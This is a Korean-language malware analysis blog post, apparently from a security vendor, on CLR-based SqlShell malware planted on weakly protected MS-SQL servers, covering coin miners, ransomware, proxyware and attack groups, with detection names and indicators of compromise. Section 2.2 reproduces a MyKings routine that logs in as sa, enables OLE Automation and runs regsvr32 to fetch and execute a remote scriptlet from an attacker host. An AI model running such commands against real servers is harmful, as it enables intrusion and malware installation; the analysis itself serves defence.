MS-SQL 서버 공격에 사용되는 CLR SqlShell 분석

본 블로그에서는 MS-SQL 서버를 대상으로 하는 공격에 사용되는 CLR SqlShell 악성코드들을 분석한다. SqlShell은 웹 서버에 설치될 수 있는 WebShell과 유사하게 MS-SQL 서버에 설치되어 공격자의 명령을 실행하거나 다양한 악의적인 행위를 수행할 수 있는 기능을 지원하는 악성코드이다. MS-SQL 서버에서는 확장된 기능을 사용할 수 있도록 CLR Stored Procedure라고 하는 방식을 지원하는데, SqlShell은 이러한 방식으로 제작된 DLL이다. CLR Stored Procedure는 xp_cmdshell 명령과 함께 공격자들이 MS-SQL 서버에서 악의적인 명령을 실행할 수 있는 대표적인 방식들 중 하나이다.

물론 CLR Stored Procedure가 전달받은 명령을 실행하는 기능이 포함되어 있다고 하더라도 정상적인 목적으로 사용되도록 제작되었을 수도 있다. 하지만 MS-SQL 서버를 대상으로 하는 대부분의 공격에 함께 사용되며, 공격자들은 주로 코인 마이너나 랜섬웨어같이 최종적인 악성코드를 설치하는 수단으로서 SqlShell을 사용한다. 본 블로그에서는 다양한 종류의 SqlShell들에 대해 각각 지원하는 기능들과 공격에 사용된 실제 사례들을 함께 분석하여 공개한다.


1. 개요

외부 인터넷에 공개되어 있으면서 단순한 형태의 암호를 사용하고 있는 MS-SQL 서버들은 윈도우 시스템을 대상으로 하는 대표적인 공격 벡터 중 하나이다. 공격자들은 부적절하게 관리되고 있는 MS-SQL 서버를 찾아 스캐닝 한 후 무차별 대입 공격이나 사전 공격을 통해 관리자 권한으로 로그인할 수 있다. 여기까지의 과정이 끝나면 공격자들은 다양한 방식을 통해 악성코드를 설치하여 감염 시스템에 대한 제어를 획득할 수 있다.

공격자가 MS-SQL 서버에 관리자 계정으로 로그인한 이후 실질적으로 악성코드를 설치하는 데 사용할 수 있는 방식으로는 대표적으로 xp_cmdshell 명령이 있으며, 해당 명령을 통해 윈도우 환경에서도 동작할 수 있는 악의적인 명령을 실행할 수 있다. 이외에도 OLE Stored Procedure에 명령을 등록하거나 MS-SQL Agent Jobs라고 하는 작업에 악의적인 명령을 등록하는 방식도 윈도우 명령을 실행할 수 있는 방식들 중 하나이다. 물론 이렇게 명령을 실행하는 방식 대신 특정 기능이 구현된 실행 파일을 제작하여 등록함으로써 특정 기능을 수행하게 하는 방식도 존재하는데, MS-SQL 서버에서는 이러한 확장된 기능을 위해 Extended Stored Procedure 또는 CLR Stored Procedure 형태의 DLL을 지원하며, 개발자들은 원하는 기능들이 포함된 DLL을 제작하여 등록함으로써 특정 기능을 제공할 수 있다.

AhnLab Security Emergency response Center(ASEC)에서는 ASEC Report를 통해 분기별로 부적절하게 관리되고 있는 MS-SQL 서버를 대상으로 하는 공격에 사용되는 악성코드들에 대한 통계를 제공하고 있다. [1] 통계를 보면 CLR Shell 즉 SqlShell로 분류되는 악성코드들의 수량이 다수 확인되는데, 이는 CLR Stored Procedure 형태의 DLL 악성코드들이다. 해당 악성코드들은 단독으로 사용되기보다는 공격자들이 랜섬웨어나 코인 마이너와 같은 악성코드를 설치하는 과정에서 함께 사용되는 경우가 대부분을 차지한다.

Figure 1. ASEC Report 2022년 4분기 통계

여기에서는 MS-SQL 서버에서 제공하는 기능들 중 윈도우 OS 명령을 실행할 수 있는 기능들을 다루며 실제 악성코드들을 종류 별로 분류하여 정리한다. SqlShell들 중에는 단순하게 전달받은 명령을 실행하는 형태부터 파일 다운로드/업로드나 권한 상승 기능을 제공하는 형태도 있다. 물론 이렇게 공격자의 명령을 받는 대신 특정 주소에서 악성코드를 다운로드해 설치하는 다운로더 형태도 존재한다.


2. MS-SQL 대상 공격 방식

일반적으로 공격자나 악성코드들은 MS-SQL 서비스가 설치된 환경 즉 1433번 포트가 오픈된 서버를 스캐닝 하여 찾는다. 스캐닝 과정 이후에는 확인된 MS-SQL 서버에 무차별 대입 공격이나 사전 공격으로 로그인을 시도한다. 참고로 윈도우 OS 명령 실행을 가능하게 하는 대부분의 기능들은 sa (SQL Admin) 즉 관리자 계정을 필요로 한다.

공격자가 직접 스캐닝 및 사전 공격을 수행하는 대신 악성코드들이 자체적으로 부적절하게 관리되고 있는 MS-SQL 서버들을 대상으로 전파하는 경우도 존재한다. 대표적으로 LemonDuck 코인 마이너 악성코드가 있으며, [2] 다음은 LemonDuck이 사전 공격에 사용하는 sa 계정의 비밀번호 목록이다.

Figure 2. LemonDuck이 사용하는 사전 공격 비밀번호 목록

참고로 LemonDuck은 내부 전파 즉 측면 이동 과정에서 MS-SQL 서버를 대상으로 사전 공격을 사용하지만, Kingminer [3]나 Vollgar [4] 코인 마이너는 외부에 오픈된 MS-SQL 서버를 대상으로 무차별 대입 공격을 수행한다.

공격자 또는 악성코드는 sa 계정이나 sa 계정의 권한을 획득한 이후에는 악의적인 명령을 실행하거나 실질적인 악성코드를 설치하여 감염 시스템에 대한 제어를 획득할 것이다. 참고로 sa 계정 권한을 가지고 있다고 하더라도 MS-SQL 데이터베이스 서버에 대한 제어를 획득했을 뿐 윈도우 운영체제 자체에 대한 제어를 획득한 것은 아니다. 즉 SQL 명령을 실행할 수는 있지만 윈도우 운영체제에 영향을 미치는 행위를 기본적으로 제공하지 않는다.

하지만 MS-SQL은 윈도우 운영체제에서 OS 명령을 실행할 수 있게 하는 여러 기능들을 지원하며, 이를 악용할 경우 결국 OS 명령을 실행할 수 있다. 여기에서는 MS-SQL 데이터베이스 서버를 통해 OS 명령을 실행할 수 있는 방식들을 다룬다. 이러한 기능들은 기본적인 SQL 관련 명령이 아님에 따라 보안에 취약한 항목들이며, 대부분 당연히 기본적으로 비활성화되어 있다. 하지만 관리자 계정은 해당 설정을 활성화할 수 있는데, 이는 곧 관리자 계정으로 로그인할 경우 이러한 기능이 사용 가능하다는 것을 의미한다. 즉 sa 계정을 획득했다면 결국 윈도우 운영체제에 대한 제어를 획득할 수 있게 된다.


2.1. xp_cmdshell

xp_cmdshell 명령은 인자로 전달받은 명령을 윈도우 쉘에서 실행시켜 주는 기능을 제공한다. xp_cmdshell 명령으로 실행된 윈도우 명령은 sqlservr.exe 프로세스에 의해 “cmd.exe /c” 명령을 통해 실행된다.

실제 악성코드들 중에서는 LemonDuck이 xp_cmdshell을 이용해 추가 악성코드를 다운로드한다. LemonDuck은 xp_cmdshell이 비활성화가 아닌 등록 해제되어 있을 경우를 대비해 재등록하는 과정도 추가되어 있다.

Figure 3. xp_cmdshell 명령을 이용하는 LemonDuck


2.2. OLE Stored Procedure

OLE 저장 프로시저를 이용하는 방식은 OLE의 기능을 악용하여 다른 애플리케이션 즉 악의적인 명령이나 악성코드를 실행시키는 방식이다. 이 또한 xp_cmdshell 명령처럼 비활성화되어 있기 때문에 활성화 작업이 필요하다.

다음은 MyKings [5] 코인 마이너 악성코드가 실제 공격에 사용하는 루틴을 재현한 것이다.

CMD > sqlcmd -S [IP 주소] -U sa -P testsql
1> sp_configure ‘show advanced options’, 1;
2> RECONFIGURE;
3> go
1> sp_configure ‘Ole Automation Procedures’,1;
2> RECONFIGURE;
3> go
1> DECLARE @shell INT
2> EXEC SP_OAcreate ‘{72C24DD5-D70A-438B-8A42-98424B88AFB8}’,@shell OUTPUT
3> EXEC SP_OAMETHOD @shell,’run’,null, ‘regsvr32 /u /s /i:hxxp://js.f4321y[.]com:280/v.sct scrobj.dll’;
4> go

Figure 4. OLE 저장 프로시저 악용 시 프로세스 트리


2.3. MS-SQL Agent Jobs

MS-SQL Agent Jobs라고 하는 기능을 이용하면 위에서 다룬 형태처럼 윈도우 명령을 실행하는 작업을 등록할 수 있다. SQL Server Agent는 단순하게 OS 명령을 실행하는 CmdExec 방식과 JS 또는 VBS 스크립트를 사용할 수 있는 ActiveScripting 방식을 지원한다.


2.4. Extended Stored Procedure

MS-SQL 서버는 확장된 기능을 제공하기 위해 Extended Stored Procedure라고 하는 방식을 지원한다. 공격자는 악성 DLL을 제작하고 sp_addextendedproc 명령으로 등록한 후 해당 DLL의 익스포트 함수를 실행하여 악성 DLL 로드 및 악성 행위를 담당하는 익스포트하는 함수를 실행시킬 수 있다.


2.5. CLR Stored Procedure

CLR Stored Procedure는 위에서 다룬 확장 저장 프로시저와 유사하지만 닷넷 DLL인 점이 다르다고 할 수 있다. 참고로 CLR Stored Procedure를 등록하고 사용하기 위해서는 xp_cmdshell처럼 활성화 작업이 필요하다.

LemonDuck은 위에서 다루었다시피 xp_cmdshell을 이용하기도 하지만 CLR Stored Procedure도 함께 사용한다.

Figure 5. CLR Stored Procedure 어셈블리를 이용하는 LemonDuck


3. CLR SqlShell 분석

3.1. 기본적인 유형

여기에서는 명령 실행이나 파일 다운로드와 같은 기본적인 기능만을 제공하는 SqlShell들을 다룬다. 공격 과정에서 SqlShell은 다른 악성코드를 설치하는 중간 단계로서 자주 사용되기 때문에 이렇게 단순한 형태들도 공격 과정에서 자주 확인되는 편이다.

3.1.1. 명령 실행 (LemonDuck)

LemonDuck은 StoredProcedures 클래스의 ExecCommand() 메소드를 등록하고 사용하며, ExecCommand() 메소드는 내부적으로 RunCommand() 메소드를 호출한다. 이름은 evilclr.dll이며 기능적으로는 명령 실행 루틴만 존재한다. LemonDuck은 이렇게 등록된 CLR 어셈블리의 ExecCommand() 함수를 이용해 추가 페이로드를 다운로드하는데 사용된다.

Figure 6. LemonDuck의 CLR SqlShell
3.1.2. 다운로드 명령 지원 (shaw20211224)

다음은 “shaw20211224.dll”이라는 이름의 SqlShell로서 전달받은 명령을 실행하는 RunCommand() 함수 외에도 외부에서 파일을 다운로드하는 DownloadRun() 함수와 전달받은 경로의 파일을 탈취하는 PutDatas() 함수가 제공된다.

Figure 7. shaw20211224.dll의 익스포트 함수
3.1.3. 쉘코드 실행 (메타스플로잇)

참고로 침투 테스트 도구들 중 하나인 메타스플로잇도 이러한 MS-SQL 서버를 대상으로 하는 공격을 지원한다. 메타스플로잇은 위에서 다룬 사전 공격부터 권한 상승 그리고 다양한 OS 명령 실행 기법들을 제공하며, CLR SqlShell 기법도 당연히 제공된다.

메타스플로잇은 공격 과정에서 다음과 같은 SqlShell을 설치하는데, 전달받은 쉘코드를 메모리 상에서 실행하는 기능을 담당한다. 메타스플로잇에서는 단순한 형태의 리버스 쉘, 바인드 쉘이나 다양한 기능을 제공하는 백도어 악성코드인 미터프리터를 추가적으로 지원하며, 공격자가 지정한 악성코드를 설치하는 쉘코드가 실행될 것이다.

Figure 8. 메타스플로잇에서 제공하는 SqlShell

다음은 자사 AhnLab Smart Defense(ASD) 로그이며 공격자가 부적절하게 관리되고 있는 MS-SQL 서버에 침투하여 메타스플로잇의 “SqlClrPayload.dll”을 설치하고 이후 메타스플로잇의 미터프리터 백도어를 sqlservr.exe 프로세스의 메모리 상에서 실행시킨 로그이다.

Figure 9. 메타스플로잇을 이용한 공격 사례에 대한 자사 ASD 로그


3.2. 확장된 기능들을 제공하는 유형

위에서는 상대적으로 단순한 형태의 SqlShell들을 다루었지만, 공격자들은 훨씬 다양한 기능들을 제공하는 SqlShell을 사용할 수 있다. 다양한 기능들이 제공될수록 공격자들은 악성코드 설치처럼 다음에 수행할 악성 행위들을 훨씬 간편하게 진행할 수 있기 때문이다.

3.2.1. SqlHelper (Trigona 랜섬웨어)

대표적으로 SqlHelper라는 이름의 SqlShell도 공격에 자주 사용된다. 유사한 형태가 다수 존재하기 때문에 소스 코드가 공개되어 있을 것으로 추정되며, 상대적으로 단순한 형태인 다음 악성코드도 명령 실행 기능 외에도 사용자 계정 추가나 터널링, 파일 작업과 같은 기능들을 제공하는 것을 확인할 수 있다.

Figure 10. SqlHelper가 지원하는 기능들

참고로 과거 Trigona 랜섬웨어 [6] 공격 사례에서 확인된 SqlShell도 SqlHelper이다. Trigona 공격자가 사용한 SqlHelper에는 권한 상승을 위한 MS16-032 취약점 공격 루틴이 함께 존재한다. 공격자는 이를 이용해 MS-SQL 서비스를 상승된 권한으로 실행시키고 이 권한으로 Trigona 랜섬웨어를 서비스에 등록한다.

3.2.2. CLRSQL (ShadowForce 공격 그룹)

CLRSQL이라는 이름의 SqlShell도 SqlHelper와 유사하다. 파일 / 디렉터리 / 프로세스 /계정 관련 작업 등 지원하는 함수들을 보면 일반적인 WebShell 악성코드들과 상당히 유사한 것이 특징이다.

CLRSQL SqlShell 중에는 위에서 다룬 유형들과 비교했을 때 더 많은 기능들, 예를 들어 PingCastle이 함께 구현된 형태도 존재한다. PingCastle은 Active Directory 환경에서 공격에 필요한 정보를 수집하는 데 사용될 수 있는 도구이다.

Figure 11. PingCastle이 함께 구현된 SqlShell

PingCastle이 함께 구현된 CLRSQL SqlShell은 ShadowForce의 공격 과정에서도 사용된다. ShadowForce 공격 그룹은 2013년부터 확인된 공격 그룹으로서 주로 한국의 기업과 기관을 공격해 온 것으로 알려져 있다. 특징이라고 한다면 주로 MS-SQL 서버를 공격 대상으로 한다는 점이 있다. [7] [8]

ShadowForce에 의해 공격받은 시스템들에서 부적절하게 관리되고 있는 MS-SQL 서버들을 대상으로 공격하는 다른 악성코드들이 함께 확인되는 것을 보면 ShadowForce 또한 이러한 부적절한 계정 정보를 사용하는 시스템들을 주요 공격 대상으로 하는 것으로 보인다.

다음 ASD 로그를 보면 먼저 “Tmp1C4E.tmp” 즉 SqlShell이 설치되고 이후 차례대로 ShadowForce의 다른 악성코드들이 생성되는 것을 확인할 수 있다. 즉 ShadowForce는 부적절하게 관리되고 있는 MS-SQL에 침투한 이후 추가 악성코드들을 설치하기 위해 CLR Stored Procedure 악성코드를 사용하고 있으며 대부분의 공격 과정에서 동일한 흐름이 확인된다.

Figure 12. ASD에서 확인된 ShadowForce의 공격 로그
3.2.3. CLR_module (ShadowForce 공격 그룹)

CLR_module이라는 이름의 SqlShell도 CLRSQL과 유사하게 다양한 기능들과 함께 PingCastle을 지원한다는 공통점이 있다. 차이점이라고 한다면 CLR_module은 CLRSQL이 제공하는 기능들 외에도 추가적으로 BadPotato, EfsPotato 등 권한 상승 도구들을 함께 제공한다는 점이 있다. 이러한 추가적인 기능들 때문인지 ShadowForce의 공격 과정에서도 CLRSQL과 함께 확인되는 사례가 다수 존재한다.

Figure 13. 권한 상승 기능도 함께 지원하는 CLR_module SqlShell


3.3. 코인 마이너 설치

위에서는 WebShell처럼 공격자의 명령을 받아 특정 명령을 수행하는 형태를 다루었다. 여기에서는 SqlShell 자체적으로 특정 기능이 구현된 형태를 다룬다. 이러한 형태들은 대부분 코인 마이너를 설치하는 유형들이며 이에 따라 공격에 사용된 SqlShell들은 대부분 다운로더 또는 드로퍼 기능을 담당한다.

3.3.1. MrbMiner

MrbMiner는 과거 MS-SQL 서버를 대상으로 유포되었던 대표적인 코인 마이너 중 하나이다. [9] 2020년부터 확인되었으며 최종적으로 XMRig 코인 마이너를 설치한다. MrbMiner 설치 과정에서 사용되는 SqlShell은 자체적인 분석 방해 기법들이 존재하긴 하지만 위에서 다룬 유형들과 달리 MrbMiner를 설치하는 다운로드 기능만을 제공한다.

Figure 14. MrbMiner의 SqlShell

버전에 따라 다르지만 다음과 같이 하드코딩된 C&C 주소를 직접 확인할 수 있다.

Figure 15. MrbMiner SqlShell에 하드코딩되어 있는 C&C 주소
3.3.2. MyKings

MyKings [10] 코인 마이너는 다양한 방식을 이용해 유포되는데 MS-SQL을 대상으로 하는 공격에도 여러 방식이 사용된다. 첫 번째는 위에서 다루었던 OLE 저장 프로시저 방식이었으며, 이외에도 다음과 같이 CLR 어셈블리를 이용하는 방식인 ExecCode.dll 파일이 존재한다.

Figure 16. MyKings ExecCode.dll의 다운로더 CLR 저장 프로시저

SqlStoredProcedure1() 메소드는 특정 주소에서 텍스트 파일을 다운로드하는데, 여기에는 추가 페이로드를 다운로드할 주소들이 적혀 있다. 이후 해당 주소들을 파싱하여 실제 MyKings 페이로드를 설치한다. ExecCode.dll은 위와 같이 간단한 형태이지만 MyKings가 사용하는 CLR 어셈블리 중에는 더 복잡한 형태들도 확인된다.

MSSqlInterface.dll은 ExecCode.dll과 유사하게 StoredProcedures 클래스 및 SqlStoredProcedure() 메소드를 통해 실행되지만 추가적인 기능들이 제공된다. 먼저 초기 루틴에서 0xFA로 1바이트 XOR 인코딩되어 있는 C&C 주소를 복호화한다. 이후 메인 루프에서 주기적으로 C&C 서버에 탈취한 기본적인 정보들을 전달하고 파일 및 쉘코드를 다운로드해 실행한다.

Figure 17. Operate 클래스에서 제공하는 함수들과 인코딩된 C&C 주소
3.3.3. LoveMiner

LoveMiner는 취약한 MS-SQL 서버를 대상으로 유포되는 코인 마이너 악성코드로서, exe 실행 파일 형태의 다운로더 외에도 CLR 저장 프로시저 형태의 다운로더가 함께 확인된다. [11]

Figure 18. LoveMiner의 CLR 저장 프로시저

LoveMiner 다운로더는 특정 주소에 접속하여 Base64로 인코딩된 코인 마이너를 “C:\windows\temp\0c0134c0cbebf48be8c95920f5ea74fc.txt” 경로에 다운로드 받아 저장한다. 해당 파일이 이미 존재하는 경우에는 읽어와 Base64 디코딩하며 메모리 상에 로드한다.

Figure 19. Base64로 인코딩된 코인 마이너와 복호화된 루틴

최종적으로 코인 마이너 DLL을 로드한 후 익스포트 함수 중 ExecSql()를 인자와 함께 호출한다. 해당 DLL은 커스터마이징된 XMRig로서 첫 번째 인자로 전달받은 문자열이 “getmoney#2021″가 맞는지 검사하며, 이후 세 번째 인자로 전달받은 마이닝 풀 주소 및 ID 등을 파싱하여 모네로 코인에 대한 마이닝을 진행한다.

LoveMiner를 설치하는 SqlShell 중에는 다운로더 외에 드로퍼 형태도 존재한다. 실제 XMRig 코인 마이너는 내부 리소스 “gmp”에 저장되어 있으며, SqlShell은 이를 메모리 상에서 로드하는 역할을 담당한다. gmp 또한 커스터마이징된 XMRig로서 초기 루틴에서 마이닝 풀 주소처럼 마이닝에 필요한 정보를 설정한다.

Figure 20. 드로퍼 형태의 LoveMiner SqlShell


3.4. Proxyware 설치

Proxyware란 설치된 시스템에서 현재 사용 가능한 인터넷 대역폭 일부를 외부에 공유하는 프로그램이다. 일반적으로 이를 설치하는 사용자는 대역폭을 제공하는 대신 일정한 금액을 받는다. 사용자 입장에서는 시스템에 Proxyware를 설치함으로써 일정 수익을 얻을 수 있지만, 외부의 다른 사용자가 자신의 네트워크를 이용해 특정 행위를 수행한다는 점에서 위험을 감수해야 한다. 즉 사용자들은 Proxyware 업체들이 주장하는 업체들이 구체적으로 어디인지 확인할 수 없으며 해당 업체들에서 자체적으로 검증을 했다고 하더라도, 추후 자신의 인터넷 대역폭이 악의적으로 사용되는지를 확인할 수 없다는 위험이 존재한다.

ASEC에서는 사용자 동의 없이 Proxyware를 설치하는 악성코드들을 확인하고 블로그를 공개한 바 있다. [12] 이러한 악성코드에 감염된 시스템은 비자발적으로 네트워크 대역폭을 탈취당하게 되며 공격자는 이를 통해 수익을 얻는다. 이렇게 감염 시스템의 리소스를 이용해 수익을 얻는 방식은 코인 마이너와 유사하다고 할 수 있다.

ASD 로그를 통해 확인되듯이 공격자는 MS-SQL 서버에 “sdk.mdf”라는 이름을 갖는 Proxyware를 설치하고 동시에 이를 실행하는 SqlShell을 사용해 대역폭을 탈취하였다. “sdk.mdf”는 실질적인 기능을 담당하는 DLL 파일로서 해당 파일 자체만으로는 Proxyware 업체에서 제공하는 기능만 가지고 있다.

Figure 21. Proxyware와 SqlShell 설치 로그

하지만 함께 생성된 SqlShell “Tmp417C.tmp”는 Proxyware인 “sdk.mdf”를 로드하고 익스포트 함수인 p2p_start()를 호출함으로써 사용자의 인지 없이 동작시킨다. p2p_start() 호출 시에는 수익을 가져갈 이메일 주소를 인자로 전달해야 하며 다음과 같이 공격자의 이메일 주소를 확인할 수 있다.

Figure 22. SqlShell을 이용해 Proxyware를 실행

참고로 SqlShell의 이름이 “SqlServerWorks.CLR.P2P.dll”인데 이는 LoveMiner의 SqlShell과 유사하며, 실제 ASD 로그에서도 LoveMiner와 Proxyware가 함께 설치되는 경향이 있는 것으로 보아 동일한 공격자인 것으로 추정된다.


4. 결론

최근 부적절하게 관리되고 있는 MS-SQL 데이터베이스 서버를 대상으로 SqlShell 악성코드가 설치되고 있다. SqlShell은 백도어나 코인 마이너, Proxyware와 같은 추가 악성코드를 설치하거나, WebShell처럼 공격자의 명령을 전달받아 악의적인 명령을 수행하는 데 사용될 수 있다.

MS-SQL 데이터베이스 서버를 대상으로 하는 공격에는 대표적으로 부적절하게 계정 정보를 관리하고 있는 시스템들에 대한 무차별 대입 공격(Brute Forcing)과 사전 공격(Dictionary Attack)이 있다. 공격 대상이 되는 MS-SQL 서버의 경우 데이터베이스 서버로서 직접 구축한 형태 외에도 ERP 및 업무용 솔루션 설치 과정에서 함께 설치되는 경우도 다수 존재한다.

이에 따라 관리자들은 계정의 비밀번호를 추측하기 어려운 형태로 사용하고 주기적으로 변경하여 무차별 대입 공격과 사전 공격으로부터 데이터베이스 서버를 보호해야 하며, 최신 버전으로 패치하여 취약점 공격을 방지해야 한다. 또한 외부에 오픈되어 접근 가능한 데이터베이스 서버에 대해 방화벽과 같은 보안 제품을 이용해 공격자로부터의 접근을 통제해야 한다.

파일 진단
– CoinMiner/Win.Generic.R503247 (2022.07.08.00)
– CoinMiner/Win.Generic.R531037 (2022.10.20.02)
– CoinMiner/Win.Generic.R548410 (2023.01.04.01)
– Downloader/Win.MyKings.C2097492 (2022.03.28.03)
– Downloader/Win.MyKings.C4262789 (2022.03.28.03)
– Malware/Win.Generic.C4624149 (2021.09.06.02)
– Trojan/Win.Generic.C4819385 (2021.12.08.01)
– Trojan/Win.Generic.C4977493 (2022.02.22.00)
– Trojan/Win.LEMONDUCK.C4206511 (2022.02.17.01)
– Trojan/Win.SqlShell.C4975954 (2022.02.18.01)
– Trojan/Win.SqlShell.C4975955 (2022.02.18.01)
– Trojan/Win.SqlShell.C4975957 (2022.02.18.01)
– Trojan/Win.SqlShell.C4975960 (2022.02.18.01)
– Trojan/Win.SqlShell.C4975962 (2022.02.18.01)
– Trojan/Win.SqlShell.C5109399 (2022.05.02.01)
– Trojan/Win.SqlShell.C5271966 (2022.10.04.02)
– Trojan/Win.SqlShell.C5310256 (2022.11.21.03)
– Trojan/Win.SqlShell.C5310259 (2022.11.21.03)
– Trojan/Win.SqlShell.R473182 (2022.02.18.01)
– Trojan/Win.SqlShell.R473183 (2022.02.18.01)
– Trojan/Win.SqlShell.R489848 (2022.05.02.01)
– Trojan/Win.SqlShell.R535294 (2022.11.21.03)
– Trojan/Win.SqlShell.R546675 (2022.12.28.03)
– Trojan/Win.SqlShell.R549834 (2023.01.09.03)
– Trojan/Win.SqlShell.R567705 (2023.04.04.01)
– Trojan/Win.SqlShell.R576151 (2023.05.02.02)

IOC
MD5

– 383d20de8f94d12a6ded1e03f53c1e16 : LemonDuck (evilclr.dll)
– 3e81a45507aea0945c57b67f193138a2 : Simple SqlShell (test.dll)
– e16bd473c6dcfdc62053864c8a52060d : Simple SqlShell (dll.dll)
– 694d4270555f8b5e41a49990c8c62789 : Simple SqlShell (shaw20211224.dll)
– 17606de13187c780ad3bf6caf2d1bd8c : Simple SqlShell (shaw20211224.dll)
– f0b837709ddde332bd2d7c8db9ccc1a2 : Simple SqlShell (shaw20211224.dll)
– ba1772486fd114b3a384d012645ac905 : Metasploit SqlShell (SqlClrPayload.dll)
– 46b639d59fea86c21e5c4b05b3e29617 : SqlHelper – Trigona (sqlhelper.dll)
– b1c9a484d0fce8740438547694dbaadf : SqlHelper (sqlhelper.dll)
– ddec0377794f1e3d7c0cb4c93b1cb3c1 : SqlHelper (sqlhelper.dll)
– 25dbf4f43b91bec3bfabac16b310bc08 : SqlHelper (sqlhelper.dll)
– b3f1b115efe4d58145be73ba8e2033ea : SqlHelper (sqlhelper.dll)
– e4518c9f624775ebdbc4c26d70df4356 : SqlHelper (sqlhelper.dll)
– 15c87480e0405b41f675222ef2bea95a : SqlHelper (sqlhelper.dll)
– 47cb400ee9d6cc9b951296b29488956b : SqlHelper (sqlhelper.dll)
– 7a7eb2d08f427644c37f771a2d174376 : CLRSQL Type 1 (CLRSQL.dll)
– 7ae173b79f3adfa3dec15c49a51ea235 : CLRSQL Type 1 (CLRSQL.dll)
– b37278c39d5eff637823b01f6dbb7c6d : CLRSQL Type 1 (SQLCLR.dll)
– 760cfbdd6abb9c0362feef3d6cad3d9b : CLRSQL Type 2 – ShadowForce (CLRSQL.dll)
– c3ce5aa5257d7a0d24c281a77b08c4d1 : CLRSQL Type 2 – ShadowForce (CLRSQL.dll)
– 329f6d74299141fe06a5e222efcb06f8 : CLR_module– ShadowForce (CLR_module.dll)
– cfbadc45f2ca5ecd4c663d37afd784a2 : CLR_module (CLR_module.dll)
– 5d0ed9dc8864776021cf59099ca5af91 : MrbMiner (Microsoft.SqlServer.Management.dll)
– b2ecc580203ec41fa007021db3f2aceb : MrbMiner (Microsoft.SqlServer.Management.dll)
– 6f3c3e5b69de7d192088ffb98a345e4d : MyKings (Operate.dll)
– 896ad50bcf14cf7fd26538bfa5a95899 : MyKings (Operate.dll)
– 130d2b07a1c4cde8f0804df9fa9622d4 : MyKings (MSSqlInterface.dll)
– 61fabf8842e7a93236b16f42cfc16d19 : MyKings (MSSqlInterface.dll)
– 2f1aecbdb7ffcb0016de8ab734c0de44 : MyKings (ExecCode.dll)
– 63609079a3e4af8643d33b05894e9670 : LoveMiner – Dropper (Microsoft.SqlServer.Works.dll)
– 380702ee8884e4676d837a866b6be4c2 : LoveMiner – Dropper (Microsoft.SqlServer.Works.dll)
– b87734108c8065bd8c6bc5f4096debed : LoveMiner – Dropper (Microsoft.SqlServer.Works.dll)
– 3badb7bc10be12ddb710302e56445db9 : LoveMiner – Dropper (Microsoft.SqlServer.Works.dll)
– 74b1a7e895df180d5d1fe60d4fc5fa69 : LoveMiner – Dropper (Microsoft.SqlServer.Works.dll)
– cc677b21dfda8718ab0431813bc7f0d2 : LoveMiner – Dropper (Microsoft.SqlServer.WorksV7.dll)
– 012e607f99ecc5b108b292d72938456a : LoveMiner – Downloader (Microsoft.SqlServer.Works.dll)
– 6ff71e8b324886e05deac82debc882af : LoveMiner – Downloader (Microsoft.SqlServer.Works.dll)
– 1e92e397d0ad3d8006d99f81d913ffa1 : LoveMiner – Downloader (Microsoft.SqlServer.Works.dll)
– 281735b72906841ad705017ddf529440 : LoveMiner – Downloader (Microsoft.SqlServer.Works.dll)
– 7ff7fbd615ea5da6d5d07d6af6a0442c : LoveMiner – Downloader (SqlServerWorks.CLR.V2.dll)
– afd5b836bc4f6d276ba8cdf66afb7e93 : LoveMiner – Downloader (Microsoft.SqlServer.Works.dll)
– 281735b72906841ad705017ddf529440 : LoveMiner – Downloader (Microsoft.SqlServer.Works.dll)
– be12cf29d01de28944af89de391f2d9a : Proxyware (SqlServerWorks.CLR.P2P.dll)

다운로드 주소
– hxxp://js.f4321y[.]com:280/v.sct : MyKings
– hxxp://load2.wpd0126[.]info/pld : MyKings
– hxxp://load.wpd0126[.]info/pld : MyKings
– hxxp://load.wpd0126[.]info/pld : MyKings
– hxxp://c.getmoney[.]company/config.txt : LoveMiner
– hxxp://c.getmoney[.]company/ver.txt : LoveMiner
– hxxp://c.getmoney[.]company/data.txt : LoveMiner
– hxxp://c.getmoney[.]company/CLRV7/ver.txt : LoveMiner
– hxxp://c.getmoney[.]company/CLRV7/data.txt : LoveMiner
– hxxp://dl.love-network[.]cc/SqlBase.exe : LoveMiner

C&C 주소
– 88.214.26[.]9:13785 : 메타스플로잇 미터프리터
– vihansoft[.]ir:3341 : MrbMiner
– adminserver[.]online:1001 : MrbMiner
– pcadmin[.]online:1001 : MrbMiner
– 54.36.10[.]73:1001 : MrbMiner

연관 IOC 및 관련 상세 분석 정보는 안랩의 차세대 위협 인텔리전스 플랫폼 ‘AhnLab TIP’ 구독 서비스를 통해 확인 가능하다.

Categories:악성코드 정보

Tagged as:,

0 0 votes
별점 주기
Subscribe
Notify of
guest

2 댓글
Inline Feedbacks
View all comments
trackback

[…] LoveMiner 공격자는 2022년 6월 초부터 부적절하게 관리되고 있는 MS-SQL 서버를 공격하여 Peer2Profit 업체의 Proxyware를 “sdk.mdf”라는 이름으로 설치하였다. “sdk.mdf”는 Proxyware에서 제공하는 파일이기 때문에 이와 동시에 이를 악용하는 CLR Assembly를 사용해 대역폭을 탈취하였다. [5] […]

trackback

[…] LoveMiner 공격자는 2022년 6월 초부터 부적절하게 관리되고 있는 MS-SQL 서버를 공격하여 Peer2Profit 업체의 Proxyware를 “sdk.mdf”라는 이름으로 설치하였다. “sdk.mdf”는 Proxyware에서 제공하는 파일이기 때문에 이와 동시에 이를 악용하는 CLR Assembly를 사용해 대역폭을 탈취하였다. [5] […]